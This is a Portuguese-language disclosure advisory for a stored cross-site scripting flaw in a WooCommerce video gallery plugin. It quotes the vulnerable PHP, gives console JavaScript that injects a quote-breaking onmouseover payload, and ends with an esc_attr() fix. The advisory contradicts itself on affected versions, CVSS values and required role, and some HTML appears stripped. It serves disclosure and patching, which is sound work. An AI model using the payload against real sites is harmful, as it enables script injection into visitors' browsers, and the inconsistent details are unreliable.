
Product Video Gallery for Woocommerce <= 1.5.1.8 - Authenticated Stored Cross-Site Scripting Prova de Conceito
| Detalhe | Valor |
|---|---|
| ID CVE | CVE-2026-10104 |
| Plugin | Product Video Gallery for WooCommerce |
| Fornecedor | TechnoSoft Webs (NikHiL Gadhiya) |
| Tipo | Cross-Site Scripting Armazenado (XSS) |
| CWE | CWE-79 — Neutralização Incorreta de Entrada Durante a Geração de Páginas Web |
| CVSS 3.1 | 4.4 (Médio) |
| Versões Afetadas | ≤ 1.5.1.6 |
| Versão Corrigida | 1.5.1.9 |
| Requer Autenticação | Sim — Contributor+ (qualquer função que possa editar produtos) |
| Descoberto por | Ravindu Lakmina Munaweera |
O plugin Product Video Gallery for WooCommerce para WordPress (versões até e incluindo 1.5.1.6) é vulnerável a Cross-Site Scripting Armazenado (XSS) através do parâmetro de metadados do produto custom_thumbnail.
O método save_wc_video_url_field() do plugin sanitiza o parâmetro POST custom_thumbnail[] usando sanitize_text_field(), que remove tags HTML, mas não remove caracteres de aspas duplas ("). No front-end, o valor armazenado é inserido diretamente nos atributos de uma tag `` em nickx_get_video_thumbanil_html() sem o escaping de esc_attr(). Isso permite que um atacante autenticado injete atributos arbitrários de manipuladores de eventos HTML (ex.: onmouseover, onerror) que executam JavaScript no navegador de qualquer visitante — incluindo usuários não autenticados — que visualizar a página do produto afetada.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Arquivo: public/class-rendering.php
Método: nickx_get_video_thumbanil_html()
// Line 365 — value inserted without esc_attr()
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
: '';
// Line 379 — rendered inside tag on the public frontend
echo '';
Arquivo: admin/class-video-field.php
Método: save_wc_video_url_field()
// Line 309-310 — sanitize_text_field() strips tags but NOT double quotes
if ( isset( $_POST['custom_thumbnail'] ) ) {
update_post_meta( $post_id, '_custom_thumbnail',
array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}
Faça login como Shop Manager (atacante).
Navegue até Products → Edit em qualquer produto que tenha uma URL de vídeo definida no campo "Product Video Url".
Abra as Ferramentas do Desenvolvedor do navegador (F12) → aba Console.
Cole e execute o seguinte JavaScript:
const form = document.getElementById('post');
// Set thumbnail ID to a non-empty value (required by render condition)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }
// Inject XSS payload via custom_thumbnail
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
Clique em "Update" para salvar o produto.
Abra a página do produto no front-end em uma janela anônima/privada (não autenticada).
Passe o mouse sobre a miniatura do vídeo na galeria do produto.
✅ O alerta JavaScript é executado, confirmando o XSS Armazenado.
A aspa dupla " injetada fecha o atributo custom_thumbnail, e onmouseover se torna um novo atributo executável no elemento ``.
Aplique esc_attr() ao valor da miniatura personalizada antes de inseri-lo no atributo HTML:
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
- ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
- : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
+ ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"'
+ : '';
Essa mesma correção deve ser aplicada a todas as instâncias em nickx_get_video_thumbanil_html() onde $custom_thumbnail é construído (tanto nos caminhos de código de array quanto de não array).
| Data | Evento |
|---|---|
| 2026-03-20 | Vulnerabilidade descoberta |
| 2026-03-20 | Reportada ao Wordfence (CNA) |
| 2026-05-29 | ID CVE atribuído: CVE-2026-10104 |
| 2026-07-01 | Divulgação pública |
Este aviso é publicado sob CC BY 4.0.
| Métrica | Valor |
|---|
| Vetor de Ataque | Rede |
| Complexidade do Ataque | Baixa |
| Privilégios Necessários | Baixos |
| Interação do Usuário | Nenhuma |
| Escopo | Alterado |
| Impacto na Confidencialidade | Baixo |
| Impacto na Integridade | Baixo |
| Impacto na Disponibilidade | Nenhum |